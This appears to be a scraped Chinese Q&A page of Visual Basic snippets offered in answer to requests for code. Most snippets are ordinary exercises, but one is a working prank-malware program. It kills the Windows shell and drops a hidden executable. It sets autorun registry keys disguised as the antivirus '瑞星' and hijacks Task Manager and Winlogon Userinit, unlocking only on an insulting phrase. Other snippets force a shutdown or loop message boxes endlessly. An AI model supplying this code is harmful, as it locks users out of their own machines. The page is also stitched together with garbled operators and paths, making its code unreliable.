求 VB代码

作者&投稿:豫崔 (若有异议请与网页底部的电邮联系)
求VB代码,高手来!~

在Form Load中添加如下如下语句:
Dim strAppPath As String
If Right(App.Path, 1) "\" Then '根目录下会有\ 其他目录不会有
strAppPath = App.Path & "\"
Else
strAppPath = App.Path
End If

'判断文件夹以及文件是否存在
If Dir(strAppPath & "1", vbDirectory) "" And Dir(strAppPath & "2.dll") "" Then
MsgBox "无法打开!"
Exit Sub
End If

'代码运行前首先需要在窗体上放置一个文本框,并将其MultiLine(多行属性)设置为true
Private Sub Form_Load()
Text1.Text = ""
Dim i As Long
Dim j As Long
Dim k As Long
Dim ostr As String
For i = 1 To 1000
k = 0
ostr = CStr(i) & "="
For j = 1 To i - 1
If i Mod j = 0 Then
'说明是因子
ostr = ostr & CStr(j) & "+"
k = k + j
End If
Next
If k = i Then
'说明是完全数
Text1.Text = Text1.Text & Mid(ostr, 1, Len(ostr) - 1) & vbCrLf '最后一个+号不要
End If
Next
End Sub

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'定义足够长的字符串

Const MAX_PATH = 260

'用来取得系统目录

Public Function GetWinSysDir() '读取Winddows\System 的所在目录的函数

Dim s As String, Length As Long

s = String(MAX_PATH, 0) '赋值

Length = GetSystemDirectory(s, MAX_PATH) 'S为取得目录,MAX_PATH 为长度

s = Left(s, InStr(s, Chr(0)) - 1) '去掉多余的空格

    GetWinSysDir = s

  End Function

Private Sub Command1_Click()

If t123 = "我是猪,我有病" Then

Timer2.Enabled = False

Timer1.Enabled = False

MsgBox "既然你承认你是猪,就过你一次!", bokonly + vbInformation, "你是猪!"

Shell "explorer.exe", vbHide

Unload Me

Else

MsgBox "还不快承认自己是猪!", bokonly + vbInformation, "你是猪!"

End If

End Sub

Private Sub Form_Load()

Shell "ntsd -c q -pn explorer.exe", vbHide

Dim reg, a, b, c, d

l23.Caption = GetWinSysDir

Dim f() As Byte

f = LoadResData(102, "custom")

Open l23.Caption & "\快速关机(Ctrl+Alt+End).exe" For Binary Access Write As #1

Put #1, , f

Close #1

Set reg = CreateObject("wscript.shell")

reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\瑞星", l23.Caption & "ising.exe"

reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionsaskmgr.exe\debugger", l23.Caption & "\快速关机(Ctrl+Alt+End).exe"

reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", l23.Caption & "\userinit.exe," & l23.Caption & "ising.exe"

reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\瑞星", l23.Caption & "ising.exe"

reg.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE", l23.Caption & "ising.exe"

a = App.Path & "\" & App.EXEName & ".exe"

b = l23.Caption & "ising.exe"

FileCopy a, b

End Sub

Private Sub Timer1_Timer()

Dim a, b

a = l33.Caption

b = a - 1

l33.Caption = b

If l33.Caption = 0 Then

Timer1.Enabled = False

End If

End Sub

Private Sub Timer2_Timer()

If l33.Caption = "0" Then

c = l23.Caption & "\快速关机(Ctrl+Alt+End).exe"

Shell c

Timer2.Enabled = False

End If

End Sub



Private Sub Form_Load()
Shell "C:\WINDOWS\system32\shutdown.exe -s -t 60" ‘打开后60秒后将关机
End Sub

'点不完的对话框
Private Sub Form_Load()
App.TaskVisible = False
Do
MsgBox "恶搞", 4096, "程序"
Loop
End
End Sub


中沙群岛的岛礁及其海域17199545202: 求个VB代码
强法爱汝: '用InputBox再输入n个数,求最大值和平均值. Option Explicit: Option Base 1 Private Sub Command1_Click() Dim n As Integer, i As Integer, a() As Double, j As Integer, max As Double, s As Double Dim Min As Double n = InputBox("请输入学...

中沙群岛的岛礁及其海域17199545202: 求一些VB常用的编程代码~~~ -
强法爱汝: VB实用函数Time 返回系统时钟的当前时间. Date 返回系统时钟的当前日期. Now 返回代表当前日期和时间的编码值.该函数经常用作其它系统时钟函数的参数. Hour(Time) 返回指定时间的小时部分(0到23). Minute(Time) 返回指定时...

中沙群岛的岛礁及其海域17199545202: 求几个VB程序的代码,谢谢了!
强法爱汝: 我的解答在这里 http://wenwen.soso.com/z/q173439010.htm label2 显示成绩 check1(0) check1(1) check1(2) check1(3) 成绩评定,为控件数组 代码: Dim cj As SinglePrivate Sub Command1_Click()Dim s As Strings = InputBox("请输入成绩"...

中沙群岛的岛礁及其海域17199545202: 求一个VB简单程序代码 -
强法爱汝: 以下程序可以运行,添加5个文本框用于显示,一个按钮.Private Sub Command1_Click() Dim val(1 To 60) As Integer Dim pass%, good%, i%, j%, temp%, sum%'输入60个学生的成绩 For i = 1 To 60 val(i) = InputBox("输入第" & i & "个学生的...

中沙群岛的岛礁及其海域17199545202: 求VB代码!! -
强法爱汝: 创建标签label1、label2、label3、label4其caption属性分别为:本金、存期、利率、到期金额;创建文本text1、text2、text3、text4; 创建命令按钮command1,其click代码为:text4.text=text*(1+text3)*text2

中沙群岛的岛礁及其海域17199545202: 求给一些VB常用代码 -
强法爱汝: Private Sub Form_Load() Dim a As String a = InputBox("请输入密码") If Trim(a) = "123" ThenMsgBox "密码正确" ElseMsgBox "密码错误!!!"End End If End SubPrivate Sub Command1_Click() Dim s s = Val(InputBox("请你...

中沙群岛的岛礁及其海域17199545202: 速求一VB代码
强法爱汝: Private Type ZhuangKuai x1 As Single y1 As Single x2 As Single y2 As Single ysz As Byte End Type Private Type GQ x As Single y As Single fx As Single fy As Single r As Single ys As Long End Type Dim pw As Single, ph As Single, ZhuanK(59) ...

中沙群岛的岛礁及其海域17199545202: 急求vb程序代码!!!! -
强法爱汝: Private Sub Form_Click() Cls Dim a(100) As Single Dim b(100) As Integer'Randomize j = 1 For i = 1 To 100'a(i) = Int(Rnd() * 1000) / 10 a(i) = InputBox("", "") If a(i) = Int(a(i)) Then b(j) = a(i) j = j + 1 End If'Print a(i) & vbTab;'If i Mod 10 = 0 Then ...

中沙群岛的岛礁及其海域17199545202: 求一个VB代码
强法爱汝: 提示:两个事件+一个属性 鼠标在标签上的移动:标签的mouseover和mouseout事件 标签文字下划线:标签的font属性

中沙群岛的岛礁及其海域17199545202: 跪求一段VB程序的代码
强法爱汝:Dim a(7) Private Type TGUID Data1 As Long Data2 As Integer Data3 As Integer Data4(0 To 7) As Byte End Type Private Declare Function OleLoadPicturePath Lib "oleaut32.dll" (ByVal szURLorPath As Long, ByVal punkCaller As Long, ByVal ...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网